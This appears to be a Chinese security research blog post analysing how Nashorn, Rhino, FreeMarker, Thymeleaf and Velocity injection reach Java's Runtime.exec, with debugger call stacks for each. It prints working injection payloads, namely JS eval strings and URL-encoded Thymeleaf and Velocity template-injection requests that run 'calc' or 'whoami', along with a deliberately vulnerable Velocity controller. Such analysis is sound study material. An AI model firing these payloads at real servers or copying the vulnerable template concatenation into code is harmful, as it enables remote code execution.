引擎注入原理初步分析

注意
本文最后更新于 2024-03-01,文中内容可能已过时。

引擎注入原理初步分析

JDK 1.8_102

public class Nashorn {
    public static void injectNashorn () throws ScriptException {
        String test="var JavaTest= Java.type(\"java.lang\"+\".Runtime\"); var b =JavaTest.getRuntime(); b.exec(\"calc\");";
        ScriptEngineManager manager = new ScriptEngineManager(null);
//根据name获取解析引擎,在jdk8环境下下面输入的js和nashorn获取的解析引擎是相同的。
        ScriptEngine engine = manager.getEngineByName("js");
        engine.eval(test);
    }
}
exec:347, Runtime (java.lang)
invokeVirtual_LL_L:-1, 1706292388 (java.lang.invoke.LambdaForm$DMH)
reinvoke:-1, 236840983 (java.lang.invoke.LambdaForm$BMH)
exactInvoker:-1, 202125197 (java.lang.invoke.LambdaForm$MH)
linkToCallSite:-1, 811301908 (java.lang.invoke.LambdaForm$MH)
:program:1, Script$\^eval\_ (jdk.nashorn.internal.scripts)
invokeStatic_LL_L:-1, 787867107 (java.lang.invoke.LambdaForm$DMH)
invokeExact_MT:-1, 1117509763 (java.lang.invoke.LambdaForm$MH)
invoke:637, ScriptFunctionData (jdk.nashorn.internal.runtime)
invoke:494, ScriptFunction (jdk.nashorn.internal.runtime)
apply:393, ScriptRuntime (jdk.nashorn.internal.runtime)
evalImpl:446, NashornScriptEngine (jdk.nashorn.api.scripting)
evalImpl:403, NashornScriptEngine (jdk.nashorn.api.scripting)
evalImpl:399, NashornScriptEngine (jdk.nashorn.api.scripting)
eval:155, NashornScriptEngine (jdk.nashorn.api.scripting)
eval:264, AbstractScriptEngine (javax.script)
injectRhino:11, Rhino
main:6, Main

能调试到的最底层具体源码:

https://github.com/openjdk/nashorn/blob/2eb88e4024023ee8e9baacb7736f914e3aa68aa4/src/org.openjdk.nashorn/share/classes/org/openjdk/nashorn/internal/runtime/ScriptFunctionData.java#L646C33-L646C33

JDK 1.7

public class InjectRhino {
    public static void injectRhino() throws ScriptException {
//        String str = "function test(){print('Hello World')};test();";
        String str = "function test(){ return java.lang.Runtime};r=test();r.getRuntime().exec(\"calc\")";
        ScriptEngineManager manager = new ScriptEngineManager(null);
        ScriptEngine engine = manager.getEngineByName("js");
        engine.eval(str);
    }
}
exec:345, Runtime (java.lang)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:57, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:601, Method (java.lang.reflect)
invoke:167, MemberBox (sun.org.mozilla.javascript.internal)
call:245, NativeJavaMethod (sun.org.mozilla.javascript.internal)
interpretLoop:1706, Interpreter (sun.org.mozilla.javascript.internal)
interpret:849, Interpreter (sun.org.mozilla.javascript.internal)
call:162, InterpretedFunction (sun.org.mozilla.javascript.internal)
doTopCall:429, ContextFactory (sun.org.mozilla.javascript.internal)
superDoTopCall:116, RhinoScriptEngine$1 (com.sun.script.javascript)
doTopCall:109, RhinoScriptEngine$1 (com.sun.script.javascript)
doTopCall:3161, ScriptRuntime (sun.org.mozilla.javascript.internal)
exec:173, InterpretedFunction (sun.org.mozilla.javascript.internal)
evaluateReader:1159, Context (sun.org.mozilla.javascript.internal)
eval:214, RhinoScriptEngine (com.sun.script.javascript)
eval:240, RhinoScriptEngine (com.sun.script.javascript)
eval:264, AbstractScriptEngine (javax.script)
injectRhino:11, InjectRhino
main:5, Main

底层是反射,具体代码在:

sun.org.mozilla.javascript.internal.MemberBox#invoke

image-20231222111259294

参考:https://www.cnblogs.com/nice0e3/p/16217471.html

freemarker-2.3.28.jar JDK 1.8_102

exec:347, Runtime (java.lang)
exec:83, Execute (freemarker.template.utility)
_eval:65, MethodCall (freemarker.core)
eval:83, Expression (freemarker.core)
calculateInterpolatedStringOrMarkup:100, DollarVariable (freemarker.core)
accept:63, DollarVariable (freemarker.core)
visit:330, Environment (freemarker.core)
visit:336, Environment (freemarker.core)
process:309, Environment (freemarker.core)
process:384, Template (freemarker.template)
main:29, freemarker_ssti (freemarker)

底层代码在 freemarker.template.utility.Execute#exec,是 Runtime。

image-20231222115601323

参考:

https://paper.seebug.org/1332/#0x04

thymeleaf 3.0.11 JDK 1.8_102

http://127.0.0.1:8090/path?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22whoami%22).getInputStream()).next()%7d__::.x
exec:347, Runtime (java.lang)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
execute:130, ReflectiveMethodExecutor (org.springframework.expression.spel.support)
getValueInternal:139, MethodReference (org.springframework.expression.spel.ast)
getValueInternal:95, MethodReference (org.springframework.expression.spel.ast)
getValueRef:61, CompoundExpression (org.springframework.expression.spel.ast)
getValueInternal:91, CompoundExpression (org.springframework.expression.spel.ast)
createNewInstance:114, ConstructorReference (org.springframework.expression.spel.ast)
getValueInternal:100, ConstructorReference (org.springframework.expression.spel.ast)
getValueRef:55, CompoundExpression (org.springframework.expression.spel.ast)
getValueInternal:91, CompoundExpression (org.springframework.expression.spel.ast)
getValue:112, SpelNodeImpl (org.springframework.expression.spel.ast)
getValue:330, SpelExpression (org.springframework.expression.spel.standard)
evaluate:263, SPELVariableExpressionEvaluator (org.thymeleaf.spring5.expression)
executeVariableExpression:166, VariableExpression (org.thymeleaf.standard.expression)
executeSimple:66, SimpleExpression (org.thymeleaf.standard.expression)
execute:109, Expression (org.thymeleaf.standard.expression)
execute:138, Expression (org.thymeleaf.standard.expression)
preprocess:91, StandardExpressionPreprocessor (org.thymeleaf.standard.expression)
parseExpression:120, StandardExpressionParser (org.thymeleaf.standard.expression)
parseExpression:62, StandardExpressionParser (org.thymeleaf.standard.expression)
parseExpression:44, StandardExpressionParser (org.thymeleaf.standard.expression)
renderFragment:278, ThymeleafView (org.thymeleaf.spring5.view)
render:189, ThymeleafView (org.thymeleaf.spring5.view)
render:1373, DispatcherServlet (org.springframework.web.servlet)
processDispatchResult:1118, DispatcherServlet (org.springframework.web.servlet)
doDispatch:1057, DispatcherServlet (org.springframework.web.servlet)
doService:943, DispatcherServlet (org.springframework.web.servlet)
processRequest:1006, FrameworkServlet (org.springframework.web.servlet)
doGet:898, FrameworkServlet (org.springframework.web.servlet)
service:634, HttpServlet (javax.servlet.http)
service:883, FrameworkServlet (org.springframework.web.servlet)
service:741, HttpServlet (javax.servlet.http)
internalDoFilter:231, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilter:53, WsFilter (org.apache.tomcat.websocket.server)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilterInternal:100, RequestContextFilter (org.springframework.web.filter)
doFilter:119, OncePerRequestFilter (org.springframework.web.filter)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilterInternal:93, FormContentFilter (org.springframework.web.filter)
doFilter:119, OncePerRequestFilter (org.springframework.web.filter)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
doFilterInternal:201, CharacterEncodingFilter (org.springframework.web.filter)
doFilter:119, OncePerRequestFilter (org.springframework.web.filter)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
invoke:202, StandardWrapperValve (org.apache.catalina.core)
invoke:96, StandardContextValve (org.apache.catalina.core)
invoke:526, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:139, StandardHostValve (org.apache.catalina.core)
invoke:92, ErrorReportValve (org.apache.catalina.valves)
invoke:74, StandardEngineValve (org.apache.catalina.core)
service:343, CoyoteAdapter (org.apache.catalina.connector)
service:408, Http11Processor (org.apache.coyote.http11)
process:66, AbstractProcessorLight (org.apache.coyote)
process:861, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1579, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1142, ThreadPoolExecutor (java.util.concurrent)
run:617, ThreadPoolExecutor$Worker (java.util.concurrent)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:745, Thread (java.lang)

底层是 SpEL 表达式执行,在 org.springframework.expression.spel.standard.SpelExpression#getValue(org.springframework.expression.EvaluationContext, java.lang.Object)

image-20231222150204826

参考: https://developer.aliyun.com/article/1235830

velocity-engine-core 2.2 JDK 1.8_102

    @RequestMapping("/ssti/velocity1")
    @ResponseBody
    public String velocity1(@RequestParam(defaultValue="nth347") String username) {
        String templateString = "Hello, " + username + " | Full name: $name, phone: $phone, email: $email";
//        String templateString = "";

        Velocity.init();
        VelocityContext ctx = new VelocityContext();
        ctx.put("name", "Nguyen Nguyen Nguyen");
        ctx.put("phone", "012345678");
        ctx.put("email", "nguyen@vietnam.com");

        StringWriter out = new StringWriter();
        Velocity.evaluate(ctx, out, "test", templateString);

        return out.toString();
    }
http://127.0.0.1:8090/ssti/velocity1
?username=
%23set(%24e%3D%22e%22)%3B%24e.getClass().forName(%22java.lang.Runtime%22).getMethod(%22getRuntime%22%2Cnull).invoke(null%2Cnull).exec(%22calc%22)
exec:347, Runtime (java.lang)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
doInvoke:565, UberspectImpl$VelMethodImpl (org.apache.velocity.util.introspection)
invoke:548, UberspectImpl$VelMethodImpl (org.apache.velocity.util.introspection)
execute:219, ASTMethod (org.apache.velocity.runtime.parser.node)
execute:369, ASTReference (org.apache.velocity.runtime.parser.node)
render:490, ASTReference (org.apache.velocity.runtime.parser.node)
render:423, SimpleNode (org.apache.velocity.runtime.parser.node)
render:1506, RuntimeInstance (org.apache.velocity.runtime)
evaluate:1437, RuntimeInstance (org.apache.velocity.runtime)
evaluate:1383, RuntimeInstance (org.apache.velocity.runtime)
evaluate:184, Velocity (org.apache.velocity.app)
velocity1:74, HelloController (com.veracode.research)
...
...

底层是反射